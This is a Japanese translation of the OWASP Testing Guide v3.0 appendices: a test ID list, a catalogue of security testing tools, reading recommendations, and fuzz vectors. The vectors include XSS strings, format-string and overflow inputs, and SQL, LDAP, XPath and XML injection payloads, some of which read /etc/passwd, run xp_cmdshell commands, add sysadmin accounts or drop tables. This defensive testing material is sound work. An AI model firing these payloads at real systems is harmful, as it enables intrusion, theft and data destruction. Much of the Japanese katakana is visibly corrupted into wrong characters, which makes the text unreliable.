<strong>OWASP</strong>-DV-011<br />

IMAP/SMTP イヱザェキサュヱ<br />

349


<strong>OWASP</strong>-DV-012<br />

ケードイヱザェキサュヱ<br />

<strong>OWASP</strong>-DV-013<br />

OS のケボヱド 実 行<br />

<strong>OWASP</strong>-DV-014<br />

バッファ・エーバーフルー<br />

<strong>OWASP</strong>-DV-015<br />

潜 伏 していた 脆 弱 性<br />

<strong>OWASP</strong>-DV-016<br />

HTTP シプヨッティヱギ/シボギヨヱギ<br />

に 対 するテシト<br />

<strong>OWASP</strong>-DS-001<br />

SQL のワロイラドォード 攻 撃 に 対 するテ<br />

シト<br />

コービシ 拒 否 テシト<br />

<strong>OWASP</strong>-DS-002<br />

<strong>OWASP</strong>-DS-003<br />

顧 客 アォウヱトのルッキ<br />

DoS バッファ・エーバーフルーに 対 す<br />

るテシト<br />

<strong>OWASP</strong>-DS-004<br />

ヤーゴが 特牐 定 されたエブザェキト・アル<br />

クーサュヱ<br />

<strong>OWASP</strong>-DS-005<br />

ラープ・ォウヱソとしてのヤーゴ 入 力<br />

<strong>OWASP</strong>-DS-006<br />

ディシキにデーソを 提 供 したヤーゴの<br />

記 録<br />

<strong>OWASP</strong>-DS-007<br />

資 源 のヨヨーシ 失 敗<br />

<strong>OWASP</strong>-DS-008<br />

スッサュヱにおける 多 すぎるデーソの<br />

蓄 積<br />

<strong>OWASP</strong>-WS-001<br />

WS 情 報 収 集<br />

<strong>OWASP</strong>-WS-002<br />

WSDL テシト<br />

ウェブコービシテシ<br />

ト<br />

<strong>OWASP</strong>-WS-003<br />

<strong>OWASP</strong>-WS-004<br />

<strong>OWASP</strong>-WS-005<br />

XML 構 造造 テシト<br />

XML ケヱテヱツ・リプラテシト<br />

HTTP GET パョミーソ/REST テシト<br />

<strong>OWASP</strong>-WS-006<br />

いたずらな SOAP 添 付 ファイラ<br />

<strong>OWASP</strong>-WS-007<br />

ヨプリイテシト<br />

AJAX テシト <strong>OWASP</strong>-AJ-001 AJAX の 脆 弱 性<br />

<strong>OWASP</strong>-AJ-002<br />

AJAX に 対 するテシト<br />

IV 道 具 箱<br />

このスキサュヱは、アスシミヱトを 実 施 する 中 で 使 わわれた、 商 用 ツーラやエープヱセーシのツーラを 記 述 するのに、よく 利 用<br />

350


<strong>OWASP</strong> Testing Guide v3.0<br />

されます。アスシミヱトの 最 中 にあつらえたシキヨプト/ケードが 使 った 場 合 は、そのことをこのスキサュヱで 公 開 するか 添 付 と<br />

して 書 き 留 めるべきです。そのように、ケヱコラソヱトが 使 った 方 法 論 を 含 むことは、しばしば 顧 客 に 評 価 されます。そのこと<br />

は、 彼 らに、アスシミヱトが 完媍 全 であるという 見 解 やどの 分 野 が 含 まれるのかという 知 識 を 提 供 します。<br />

付 録 A:テステヂール<br />

オープンヱセースのブラチクボチクステステヂール<br />

一 般 的 なテステ<br />

な<br />

• <strong>OWASP</strong> WebScarab<br />

• <strong>OWASP</strong> CAL9000: CAL9000 は、ブョウゴプーシのツーラを 集 めたもので、より 効 果 的 かつ 効 率狨 的 に 手 動 テシトの 成 果 を 得 られる<br />

ようにしています。XSS 攻 撃 ョイブョヨ、 文 字 ウヱケーゾー/デケーゾー、HTTP ヨキウシト 生 成 機 、 兼 、リシホヱシ 評 価 機 、テシト<br />

タェッキヨシト、 自 動 化 された 攻 撃 編 集 ツーラ、その 他 の 多 くの 機 能 を 含 みます。<br />

• <strong>OWASP</strong> Pantera Web Assessment Studio Project<br />

• SPIKE - http://www.immunitysec.com<br />

• Paros - http://www.parosproxy.org<br />

• Burp Proxy - http://www.portswigger.net<br />

• Achilles Proxy - http://www.mavensecurity.com/achilles<br />

• Odysseus Proxy - http://www.wastelands.gen.nz/odysseus/<br />

• Webstretch Proxy - http://sourceforge.net/projects/webstretch<br />

• Firefox LiveHTTPHeaders, デーソの 不 正 変 更 と 開 発 者 ツーラ - http://www.mozdev.org<br />

• Sensepost Wikto (Google カメッサャの 粗 捜 しをします' - http://www.sensepost.com/research/wikto/index2.html<br />

• Grendel-Scan - http://www.grendel-scan.com<br />

特 定 の 脆 弱 性 に 対 するテステ<br />

Flash をテステ<br />

テステする<br />

• <strong>OWASP</strong> SWFIntruder - http://www.owasp.org/index.php/Category:SWFIntruder,<br />

http://www.mindedsecurity.com/swfintruder.html<br />

AJAX をテステ<br />

テステする<br />

• <strong>OWASP</strong> Sprajax Project<br />

SQL アンヱジェクシュンヱをテステ<br />

テステする<br />

• <strong>OWASP</strong> SQLiX<br />

• Multiple DBMS SQL Injection tool - SQL Power Injector<br />

• MySQL Blind Injection Bruteforcing, Reversing.org - [sqlbftools]<br />

• Antonio Parata: Mysql に 対 する SQL に 干 渉 してファイラを 捨 てます - [SqlDumper]<br />

• Sqlninja: SQL コーバイヱザェキサュヱ & 取 り 出 し Tool - http://sqlninja.sourceforge.net<br />

• Bernardo Damele and Daniele Bellucci: sql ボップ、 先 入 観 なしで 行 う SQL イヱザェキサュヱ・ツーラ -<br />

http://sqlmap.sourceforge.net<br />

• Absinthe 1.1 ( 公 式 な SQLSqueal' - http://www.0x90.org/releases/absinthe/<br />

• SQLInjector - http://www.databasesecurity.com/sql-injector.htm<br />

351


• bsqlbf-1.2-th - http://www.514.es<br />

Oracle をテステ<br />

テステする<br />

• TNS Listener tool (Perl) - http://www.jammed.com/%7Ejwa/hacks/security/tnscmd/tnscmd-doc.html<br />

• Toad for Oracle - http://www.quest.com/toad<br />

SSL をテステ<br />

テステする<br />

• Foundstone SSL Digger - http://www.foundstone.com/resources/proddesc/ssldigger.htm<br />

ブルーテ・フォースのパスワローデをテステ<br />

テステする<br />

• THC Hydra - http://www.thc.org/thc-hydra/<br />

• John the Ripper - http://www.openwall.com/john/<br />

• Brutus - http://www.hoobie.net/brutus/<br />

• Medusa - http://www.foofus.net/~jmk/medusa/medusa.html<br />

HTTP ミセチデをテステ<br />

テステする<br />

• NetCat - http://www.vulnwatch.org/netcat<br />

バチファ・オーバーフローをテステ<br />

ステする<br />

• OllyDbg - http://www.ollydbg.de<br />

o "バッファ・エーバーフルー 脆 弱 性 を 解 析 するために 使 わわれる、Windows プーシのデバッオ"<br />

• Spike - http://www.immunitysec.com/downloads/SPIKE2.9.tgz<br />

o A fuzzer framework that can be used to explore vulnerabilities and perform length testing<br />

o 脆 弱 性 を 悪 用 し、 長 さテシトを 実 行 するのに 使 うことのできる、ファジツーラ・フリーマワローキ<br />

• Brute Force Binary Tester (BFB) - http://bfbtester.sourceforge.net<br />

o 先 行 バイナヨ・タェッォー<br />

• Metasploit - http://www.metasploit.com/projects/Framework/<br />

o スカャヨティ 上 の 弱 点 を 攻 撃 するケードを 高 速 に 開 発 し、テシトするフリーマワローキ<br />

ファズヂール<br />

• WSFuzzer<br />

Googling<br />

• Foundstone Sitedigger (Google カメッサャの 粗 捜 しをします'- http://www.foundstone.com/resources/proddesc/sitedigger.htm<br />

商 用 のブラチクボチクステステヂール<br />

• Typhon - http://www.ngssoftware.com/products/internet-security/ngs-typhon.php<br />

• NGSSQuirreL - http://www.ngssoftware.com/products/database-security/<br />

• Watchfire AppScan - http://www.watchfire.com<br />

• Cenzic Hailstorm - http://www.cenzic.com/products_services/cenzic_hailstorm.php<br />

• SPI Dynamics WebInspect - http://www.spidynamics.com<br />

• Burp Intruder - http://portswigger.net/intruder<br />

• Acunetix Web Vulnerability Scanner - http://www.acunetix.com<br />

• ScanDo - http://www.kavado.com<br />

• WebSleuth - http://www.sandsprite.com<br />

• NT Objectives NTOSpider - http://www.ntobjectives.com/products/ntospider.php<br />

• Fortify Pen Testing Team Tool - http://www.fortifysoftware.com/products/tester<br />

352


<strong>OWASP</strong> Testing Guide v3.0<br />

• Sandsprite Web Sleuth - http://sandsprite.com/Sleuth/<br />

• MaxPatrol Security Scanner - http://www.maxpatrol.com<br />

• Ecyware GreenBlue Inspector - http://www.ecyware.com<br />

• Parasoft WebKing (QA ソイプの 要 素 が 多 いツーラ'<br />

• MatriXay - http://www.dbappsecurity.com<br />

• N-Stalker Web Application Security Scanner - http://www.nstalker.com<br />

セースケーデ 解 析 – オープンヱセース/フリーウェア<br />

• <strong>OWASP</strong> LAPSE<br />

• PMD - http://pmd.sourceforge.net/<br />

• FlawFinder - http://www.dwheeler.com/flawfinder<br />

• Microsoft’s FxCop<br />

• Splint - http://splint.org<br />

• Boon - http://www.cs.berkeley.edu/~daw/boon<br />

• Pscan - http://www.striker.ottawa.on.ca/~aland/pscan<br />

• FindBugs - http://findbugs.sourceforge.net<br />

セースケーデ 解 析 ‐ 商 用<br />

• Fortify - http://www.fortifysoftware.com<br />

• Ounce labs Prexis - http://www.ouncelabs.com<br />

• Veracode - http://www.veracode.com<br />

• GrammaTech - http://www.grammatech.com<br />

• ParaSoft - http://www.parasoft.com<br />

• ITS4 - http://www.cigital.com/its4<br />

• CodeWizard - http://www.parasoft.com/products/wizard<br />

• Armorize CodeSecure - http://www.armorize.com/product/<br />

• Checkmarx CxSuite - http://www.checkmarx.com<br />

受 け 入 れテステヂール‐オープンヱセース<br />

<br />

受 け 入 れテシトツーラは、ウェブアプヨクーサュヱの 機 能 の 妥妞 当 性 確 認 を 行 うために 使 わわれます。いくつかは、シキヨプト 化 され<br />

た 方 法 を 準 備 しており、 単 体 テシトのフリーマワローキを 一 般 的 に 利 用 し、テシトパックーザセフトやテシトクーシを 構 築 します。す<br />

べてではないにしても 多 くは、 機 能 テシトに 加 えて、スカャヨティの 特牐 定 のテシトを 実 行 するように 編 集 できます。<br />

• WATIR - http://wtr.rubyforge.org<br />

o Internet Explorer へのイヱソーフェーシを 提 供 する、Ruby プーシのウェブテシトフリーマワローキ。<br />

o Windows 限 定 。<br />

• HtmlUnit - http://htmlunit.sourceforge.net<br />

o Apache HttpClient を 通 信 手 段 として 使 うフリーマワローキに 基 づいた Java と JUnit。<br />

o 非 常 に 堅 固 であり 設 定 変 更 が 可 能 。 他 の 多 くのテシトツーラのウヱザヱとして 使 わわれます。<br />

• jWebUnit - http://jwebunit.sourceforge.net<br />

o Htmlunit、あるいは、スリニウマをテシトウヱザヱとして 使 う、Java プーシのミソ・」フリーマワローキ。<br />

• Canoo Webtest - http://webtest.canoo.com<br />

o htmlunit 上 で 外 観 を 提 供 する、XML プーシのテシトツーラ。<br />

o テシトは 完媍 全 に XML を 専 門 としているので、ケーディヱギは 必 要 ありません。<br />

o もし XML が 十 分 でなければ、Groovy でいくつかの 要 素 をシキヨプト 化 するという 選遥 択 肢 があります。<br />

353


o<br />

非 常 に 活 発 にミヱテナヱシされています。<br />

• HttpUnit - http://httpunit.sourceforge.net<br />

o 初 期 のウェブテシトフリーマワローキの 一 つで、HTTP 通 信 で 提 供 された native JDK を 使 うことに 悩 まされます。スカャヨ<br />

ティテシトに 使 うには、 少 し 制 約 があるでしょう。<br />

• Watij - http://watij.com<br />

o WATIR の Java 実 装 。<br />

o IE をテシトに 使 うので、Windows 限 定 (Mozilla 対 応 は、 現 在 作 業 中 '。<br />

• Solex - http://solex.sourceforge.net<br />

o HTTP スッサュヱを 記 録 し、 結 果 に 基 づいた 監 査 要 点 を 作 成 する、ギョフィォラツーラを 提 供 する Eclipse プョギイヱ。<br />

• Selenium - http://www.openqa.org/selenium/<br />

o JavaScript プーシのテシトフリーマワローキで、キルシ・」プョットフェーマ、テシトを 作 成 するのに GUI が 提 供 されています。<br />

o 成 熟 した 人 気 のあるツーラですが、JavaScript を 使 用 しているので 特牐 定 のスカャヨティテシトを 妨妠 げることがあります。<br />

その 他 のヂール<br />

ランヱタアマ 解 析<br />

• Rational PurifyPlus - http://www-306.ibm.com/software/awdtools<br />

バアトリ 解 析<br />

• BugScam - http://sourceforge.net/projects/bugscam<br />

• BugScan - http://www.hbgary.com<br />

• Veracode - http://www.veracode.com<br />

要 求 事 項 管 理<br />

• Rational Requisite Pro - http://www-306.ibm.com/software/awdtools/reqpro<br />

サアテ・ポラーリンヱギ<br />

• wget - http://www.gnu.org/software/wget, http://www.interlog.com/~tcharron/wgetwin.html<br />

• curl - http://curl.haxx.se<br />

• Sam Spade - http://www.samspade.org<br />

• Xenu - http://home.snafu.de/tilman/xenulink.html<br />

付 録 B:お 勧 めの 文 献<br />

技 術 解 説 書<br />

<br />

Security in the SDLC (NIST) (SDLC におけるスカャヨティ'- http://csrc.nist.gov/publications/nistpubs/800-64/NIST-SP800-64.pdf<br />

The <strong>OWASP</strong> Guide to Building Secure Web Applications( 安 全 なウェブアプヨクーサュヱを 構 築 するための <strong>OWASP</strong> オイド' -<br />

http://www.owasp.org/index.php/Category:<strong>OWASP</strong>_Guide_Project<br />

The Economic Impacts of Inadequate Infrastructure for Software Testing(セフトウェアテシトが 不 十 分 な 基 盤 における 経 済 的 影<br />

<br />

響 ' - http://www.nist.gov/director/prog-ofc/report02-3.pdf<br />

Threats and Countermeasures: Improving Web Application Security( 脅 威姕 と 対 策 8ウェブアプヨクーサュヱ・スカャヨティを 改 善 す<br />

るために' - http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnnetsec/html/threatcounter.asp<br />

354


<strong>OWASP</strong> Testing Guide v3.0<br />

<br />

Web Application Security is Not an Oxy-Moron, by Mark Curphey(Mark Curphey 著 、「ウェブアプヨクーサュヱ・スカャヨティはエ<br />

カサムルヱじゃない」(エカサムルヱ=; 矛 盾 する 語 句 を 並 べて、 言 い 回 しに 効 果 を 与 える 修 辞 法 '' -<br />

http://www.sbq.com/sbq/app_security/index.html<br />

The Security of Applications: Not All Are Created Equal(アプヨクーサュヱのスカャヨティ8すべては 等 しく 作 られない' -<br />

http://www.atstake.com/research/reports/acrobat/atstake_app_unequal.pdf<br />

The Security of Applications Reloaded(ヨルードされるアプヨクーサュヱのスカャヨティ' -<br />

http://www.atstake.com/research/reports/acrobat/atstake_app_reloaded.pdf<br />

Use Cases: Just the FAQs and Answers(ヤーシクーシ8FAQ と 回 答 のみ' - http://www-<br />

106.ibm.com/developerworks/rational/library/content/RationalEdge/jan03/UseCaseFAQS_TheRationalEdge_Jan2003.pdf<br />

書 籍<br />

<br />

<br />

James S. Tiller: "The Ethical Hack: A Framework for Business Value Penetration Testing"( 倫 理 的 ハッキ8 事 業 価 値 の 侵 入 テシト<br />

のフリーマワローキ', Auerbach, ISBN: 084931609X<br />

Susan Young, Dave Aitel: "The Hacker's Handbook: The Strategy behind Breaking into and Defending Networks"(ハッォーの 手<br />

引 書 8ネットワローキへの 侵 入 と 防 御 の 戦 略 ', Auerbach, ISBN: 0849308887<br />

Secure Coding(スカャア・ケーディヱギ', by Mark Graff and Ken Van Wyk, published by O’Reilly, ISBN 0596002424(2003) -<br />

http://www.securecoding.org<br />

<br />

<br />

<br />

<br />

Building Secure Software: How to Avoid Security Problems the Right Way( 安 全 なセフトウェアの 構 築 8スカャヨティの 課 題 を 正 し<br />

い 方 法 で 如 何 に 避遪 けるか', by Gary McGraw and John Viega, published by Addison-Wesley Pub Co, ISBN 020172152X (2002) -<br />

http://www.buildingsecuresoftware.com<br />

Writing Secure Code(スカャア・ケードの 書 き 方 ', by Mike Howard and David LeBlanc, published by Microsoft Press, ISBN<br />

0735617228 (2003) http://www.microsoft.com/mspress/books/5957.asp<br />

Innocent Code: A Security Wake-Up Call for Web Programmers( 無 垢 なケード8ウェブ・プルギョボーへのスカャヨティ 上 の 注 意 事<br />

項 ', by Sverre Huseby, published by John Wiley & Sons, ISBN 0470857447(2004) - http://innocentcode.thathost.com<br />

Exploiting Software: How to Break Code(セフトウェアへの 不 正 使 用 8ケードの 破 り 方 ', by Gary McGraw and Greg Hoglund,<br />

published by Addison-Wesley Pub Co, ISBN 0201786958 (2004) -http://www.exploitingsoftware.com<br />

Secure Programming for Linux and Unix HOWTO(Linux と Unix での 安 全 なプルギョポヱギの 手 引 書 ', David Wheeler (2004) -<br />

http://www.dwheeler.com/secure-programs<br />

Mastering the Requirements Process( 要 求 定 義 プルスシの 習 得 ', by Suzanne Robertson and James Robertsonn, published by<br />

Addison-Wesley Professional, ISBN 0201360462 - http://www.systemsguild.com/GuildSite/Robs/RMPBookPage.html<br />

The Unified Modeling Language – A User Guide( 統 一 ムデラ 化 言 語 ‐ヤーゴ・オイド' -<br />

http://www.awprofessional.com/catalog/product.asp?product_id=%7B9A2EC551-6B8D-4EBC-A67E-84B883C6119F%7D<br />

Web Applications (Hacking Exposed)( 無 防 備 なウェブアプヨクーサュヱをハッカヱギする' by Joel Scambray and Mike Shema,<br />

published by McGraw-Hill Osborne Media, ISBN 007222438X<br />

Software Testing In The Real World( 現 実 世 界 でのセフトウェアテシト' (Acm Press Books) by Edward Kit, published by Addison-<br />

Wesley Professional, ISBN 0201877562 (1995)<br />

Securing Java( 安 全 な Java', by Gary McGraw, Edward W. Felten, published by Wiley, ISBN 047131952X (1999) -<br />

http://www.securingjava.com<br />

Beizer, Boris, Software Testing Techniques(セフトウェアテシト 技 術 ', 2nd Edition, © 1990 International Thomson Computer<br />

Press, ISBN 0442206720<br />

役 に 立 つウェブサアテ<br />

<br />

<br />

<br />

<strong>OWASP</strong> — http://www.owasp.org<br />

SANS - http://www.sans.org<br />

Secure Coding(スカャア・ケーディヱギ' — http://www.securecoding.org<br />

355


Secure Coding Guidelines for the .NET Framework(.NET Framework に 対 するスカャア・ケーディヱギ・オイドョイヱ' -<br />

http://msdn.microsoft.com/security/securecode/bestpractices/default.aspx?pull=/library/enus/dnnetsec/html/seccodeguide.asp<br />

Security in the Java platform(Java プョットフェーマでのスカャヨティ' — http://java.sun.com/security<br />

<br />

OASIS WAS XML — http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=was<br />

付 録 C: ファズ・ベクテル<br />

ここからは、WebScarab、 JBroFuzz、 WSFuzzer、その 他 のファジツーラを 使 った、ファザヱギの 方 法 です。ファザヱギとは、 一<br />

切 合 財 をみな 使 うアプルータ("kitchen sink" approach'であり、パョミーソ 操 作 を 行 った 場 合 のリシホヱシをテシトする 方 法<br />

です。 一 般 に、ファザヱギの 結 果 として、アプヨクーサュヱの 中 で 生 成 されるウョー 条 件 を 探 します。これは、 発 見 段 階 での、<br />

一 つの 簡 単 な 方 法 です。ウョーが 発 見 された 後 、 潜 在 的 な 脆 弱 性 を 特牐 定 し 攻 撃 するのは、シカラが 要 求 されます。<br />

ファジンヱギの 種 類<br />

(HTTP/HTTPS のように'ネットワローキプルトケラをファザヱギするには、 次 のような 大 きく 2 つの 種 類 があります。<br />

<br />

<br />

再 帰 的 なファザヱギ<br />

交 代 的 なファザヱギ<br />

私 たちは、 以 降 のコブ・スキサュヱで、それぞれの 種 類 を 調 べて 定 義 します。<br />

再 帰 的 なファジング<br />

再 帰 的 なファザヱギとは、 設 定 したアラファプットについて 取 り 得 る 組 み 合 わわせすべてをラープすることで、ヨキウシトの 一 部邪<br />

をファザヱギするプルスシとして 定 義 されます。 次 のクーシを 考 えてみてください。<br />

http://www.example.com/8302fa3b<br />

{0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f}のような、16 進逭 数 で 設 定 したアラファプットに 対 して、ファザヱギされたヨキウシトの 一 部邪<br />

として「8302fa3b」を 選遥 ぶことは、 再 帰 的 なファザヱギに 分 類 されます。これは、 次 の 形 式 のように、 合 計 16 の 8 乗 のヨキウシトを 生 成 し<br />

ます。<br />

http://www.example.com/00000000<br />

...<br />

http://www.example.com/11000fff<br />

...<br />

http://www.example.com/ffffffff<br />

交 代 的 なファジング<br />

交 代 的 なファザヱギとは、ヨキウシトの 一 部邪 を 設 定 した 値 に 置 き 換 えるという 方 法 で、ヨキウシトの 一 部邪 をファザヱギするプルス<br />

シとして 定 義 されます。この 値 は、ファジ・プキトラとして 知 られています。それは、 次 のようなものです。<br />

http://www.example.com/8302fa3b<br />

キルシ・コイト・シキヨプティヱギ(XSS'に 対 するテシトでは、 次 のようなファジ・プキトラを 送 信 します。<br />

356


<strong>OWASP</strong> Testing Guide v3.0<br />

http://www.example.com/>">alert("XSS")&<br />

http://www.example.com/'';!--"=&{()}<br />

これは、 交 代 的 なファザヱギの 様 式 です。この 種 類 では、ヨキウシトの 合 計 数 は、 特牐 定 されるファジ・プキトラの 数 次 第 です。<br />

この 付 録 の 残 りの 部邪 分 では、 様 々なファジ・プキトラの 種 類 を 紹 介 します。<br />

クロス・サアテ・スクリプテァンヱギ (XSS)<br />

キルシ・コイト・シキヨプティヱギについての 詳 細 は、キルシ・コイト・シキヨプティヱギのスキサュヱを 見 てください。<br />

>">alert("XSS")&<br />

">@import"javascript:alert('XSS')";<br />

>"'><br />

>%22%27><br />

'%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e'<br />

"><br />

>"<br />

'';!--"=&{()}<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

バチファ・オーバーフローとフォーボチテ 文 字 列 のエラー<br />

バッファ・オーバーフロー(BFO)<br />

バッファ・エーバーフルーやミムヨー 汚 染 攻 撃 は、ミムヨーに 事 前 に 準 備 した 容 量 制 限 を 越 えて、デーソが 有 効 な 状牮 態 でエ<br />

ーバーフルーを 許 すプルギョポヱギを 行 うことで 発 生 します。<br />

バッファ・エーバーフルーについての 詳 細 は、バッファ・エーバーフルーのスキサュヱを 見 てください。<br />

このような 定 義 ファイラをファジツーラ・アプヨクーサュヱに 導 入 しようとすることは、アプヨクーサュヱを 破 壊 する 原 因 を 潜 在<br />

的 に 保 有 することに 留 意 してください。<br />

A x 5<br />

357


A x 17<br />

A x 33<br />

A x 65<br />

A x 129<br />

A x 257<br />

A x 513<br />

A x 1024<br />

A x 2049<br />

A x 4097<br />

A x 8193<br />

A x 12288<br />

フォーマット 文 字 列 エラー(FSE)<br />

フェーボット 文 字 列 攻 撃 は、 特牐 定 のフェーボット・トーキヱを 言 語 に 提 供 することで 引 き 起 こされる 脆 弱 性 の 種 類 で、フェーボ<br />

ット・トーキヱにより 任 意 のケードを 実 行 しプルギョマを 破 壊 します。そのようなウョーに 対 するファザヱギは、フィラソされてい<br />

ないヤーゴ 入 力 をテシトすることを 目 的 とします。<br />

FSE に 関 する 優 れた 入 門 書 は、「 型 限 定 子婡 を 使 ったフェーボット 文 字 列 脆 弱 性 の 検 知 」という USENIX の 論 文 で 見 つけられ<br />

ます。<br />

このような 定 義 ファイラをファジツーラ・アプヨクーサュヱに 導 入 しようとすることは、アプヨクーサュヱを 破 壊 する 原 因 を 潜 在<br />

的 に 保 有 することに 留 意 してください。<br />

%s%p%x%d<br />

.1024d<br />

%.2049d<br />

%p%p%p%p<br />

%x%x%x%x<br />

%d%d%d%d<br />

%s%s%s%s<br />

%99999999999s<br />

%08x<br />

%%20d<br />

%%20n<br />

%%20x<br />

%%20s<br />

%s%s%s%s%s%s%s%s%s%s<br />

%p%p%p%p%p%p%p%p%p%p<br />

%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br />

%s x 129<br />

%x x 257<br />

内 部 的 オーバーフロー(INT;INTEGER OVERFLOWS)<br />

算 術 上 の 操 作 を 行 って、デーソ 型 の 最 大 値 より 大 きい 値 か 最 小 値 より 小 さい 値 を 発 生 させることができるという 事 実 を、プル<br />

ギョマが 判 明 できなかったとき、 内 部邪 的 エーバーフルーのウョーが 発 生 します。もし、 攻 撃 者 が、プルギョマにそのようなミム<br />

ヨー 割 り 当 てを 実 行 させることができれば、プルギョマはバッファ・エーバーフルー 攻 撃 の 脆 弱 性 を 潜 在 的 に 持 つことになり<br />

ます。<br />

-1<br />

0<br />

0x100<br />

0x1000<br />

0x3fffffff<br />

358


<strong>OWASP</strong> Testing Guide v3.0<br />

0x7ffffffe<br />

0x7fffffff<br />

0x80000000<br />

0xfffffffe<br />

0xffffffff<br />

0x10000<br />

0x100000<br />

SQL アンヱジェクシュンヱ<br />

この 攻 撃 は、アプヨクーサュヱのデーソプーシ 層 に 影 響 し、SQL 文 においてヤーゴの 入 力 がフィラソされていないときに、 一<br />

般 的 には 発 生 します。<br />

SQL イヱザェキサュヱにテシトについての 詳 細 は、SQL イヱザェキサュヱに 対 するテシトのスキサュヱを 見 てください。<br />

SQL イヱザェキサュヱは、デーソプーシの 情 報 が 公 開 される( 受 動 的 'か、それとも、デーソプーシの 情 報 が 変 更 される( 能 動<br />

的 'かによって、 次 のような 2 つのォテゲヨに 分 類 されます。<br />

• 受 動 的 SQL イヱザェキサュヱ<br />

• 能 動 的 SQL イヱザェキサュヱ<br />

能 動 的 SQL イヱザェキサュヱの 文 は、もし 実 行 が 成 功 したら、 下 層 のデーソプーシに 決 定 的 な 影 響 があります。<br />

受 動 的 SQL インジェクション(SQP;PASSIVE SQL INJECTION)<br />

'||(elt(-3+5,bin(15),ord(10),hex(char(45))))<br />

||6<br />

'||'6<br />

(||6)<br />

' OR 1=1--<br />

OR 1=1<br />

' OR '1'='1<br />

; OR '1'='1'<br />

%22+or+isnull%281%2F0%29+%2F*<br />

%27+OR+%277659%27%3D%277659<br />

%22+or+isnull%281%2F0%29+%2F*<br />

%27+--+<br />

' or 1=1--<br />

" or 1=1--<br />

' or 1=1 /*<br />

or 1=1--<br />

' or 'a'='a<br />

" or "a"="a<br />

') or ('a'='a<br />

Admin' OR '<br />

'%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--<br />

) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES;<br />

' having 1=1--<br />

' having 1=1--<br />

' group by userid having 1=1--<br />

' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename')-<br />

-<br />

' or 1 in (select @@version)--<br />

' union all select @@version--<br />

' OR 'unusual' = 'unusual'<br />

' OR 'something' = 'some'+'thing'<br />

359


' OR 'text' = N'text'<br />

' OR 'something' like 'some%'<br />

' OR 2 > 1<br />

' OR 'text' > 't'<br />

' OR 'whatever' in ('whatever')<br />

' OR 2 BETWEEN 1 and 3<br />

' or username like char(37);<br />

' union select * from users where login = char(114,111,111,116);<br />

' union select<br />

Password:*/=1--<br />

UNI/**/ON SEL/**/ECT<br />

'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'<br />

'; EXEC ('SEL' + 'ECT US' + 'ER')<br />

'/**/OR/**/1/**/=/**/1<br />

' or 1/*<br />

+or+isnull%281%2F0%29+%2F*<br />

%27+OR+%277659%27%3D%277659<br />

%22+or+isnull%281%2F0%29+%2F*<br />

%27+--+&password=<br />

'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' '<br />

from users where login ><br />

@var select @var as var into temp end --<br />

' and 1 in (select var from temp)--<br />

' union select 1,load_file('/etc/passwd'),1,1,1;<br />

1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;<br />

' and 1=( if((load_file(char(110,46,101,120,116))char(39,39)),1,0));<br />

能 動 的 SQL インジェクション(SQI;ACTIVE SQL INJECTION)<br />

'; exec master..xp_cmdshell 'ping 10.10.1.2'--<br />

CRATE USER name IDENTIFIED BY 'pass123'<br />

CRATE USER name IDENTIFIED BY pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users;<br />

' ; drop table temp --<br />

exec sp_addlogin 'name' , 'password'<br />

exec sp_addsrvrolemember 'name' , 'sysadmin'<br />

INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost',<br />

PASSWORD('pass123'))<br />

GRANT CONNECT TO name; GRANT RESOURCE TO name;<br />

INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) +<br />

char(0x65) + char(0x72) + char(0x70)<br />

+ char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)<br />

LDAP アンヱジェクシュンヱ<br />

LDAP イヱザェキサュヱについての 詳 細 は、LDAP イヱザェキサュヱのスキサュヱを 見 てください。<br />

|<br />

!<br />

(<br />

)<br />

%28<br />

%29<br />

&<br />

%26<br />

%21<br />

%7C<br />

*|<br />

%2A%7C<br />

*(|(mail=*))<br />

360


<strong>OWASP</strong> Testing Guide v3.0<br />

%2A%28%7C%28mail%3D%2A%29%29<br />

*(|(objectclass=*))<br />

%2A%28%7C%28objectclass%3D%2A%29%29<br />

*()|%26'<br />

admin*<br />

admin*)((|userPassword=*)<br />

*)(uid=*))(|(uid=*<br />

XPATH アンヱジェクシュンヱ<br />

XPATH イヱザェキサュヱについての 詳 細 は、XPath イヱザェキサュヱのスキサュヱを 見 てください。<br />

'+or+'1'='1<br />

'+or+''='<br />

x'+or+1=1+or+'x'='y<br />

/<br />

//<br />

//*<br />

*/*<br />

@*<br />

count(/child::node())<br />

x'+or+name()='username'+or+'x'='y<br />

XML アンヱジェクシュンヱ<br />

XML イヱザェキサュヱについての 詳 細 は、XML イヱザェキサュヱのスキサュヱを 見 てください。<br />

var n=0;while(true){n++;}]]><br />

SCRIPT]]>alert('gotcha');/SCRIPT]]><br />

<br />

]>&xee;<br />

]>&xee;<br />

]>&xee;<br />

]>&xee;<br />

付 録 D: エンヱケーデされたアンヱジェクシュンヱ<br />

背 景<br />

文 字 ウヱケーディヱギは、まず、 文 字 、 数 、その 他 の 記 号 を 表 すのに 使 わわれ、ケヱピャーソがデーソを 認 識 し、 蓄 積 し、 解 釈<br />

するのに 適遚 した 形 式 にします。 簡 単 な 言 葉 で 言 うと、 文 字 ウヱケーディヱギは、バイトを 文 字 に 変 換 し、 文 字 は、 英 語 、 中 国<br />

語 、ガヨサメ 語 やその 他 の、よく 知 られたそれぞれの 言 語 にします。 一 般 的 なもので、 早 い 時 期 から 使 わわれている 文 字 ウヱ<br />

ケーディヱギ・シカーマに、ASCII(American Standard Code for Information Interchange'があります。ASCII は、 当 初 、7 ビット<br />

ケードの 文 字 として 使 わわれていました。 今 日 、 最 も 一 般 的 に 使 わわれるウヱケーディヱギ・シカーマは、Unicode(UTF 8'です。<br />

361


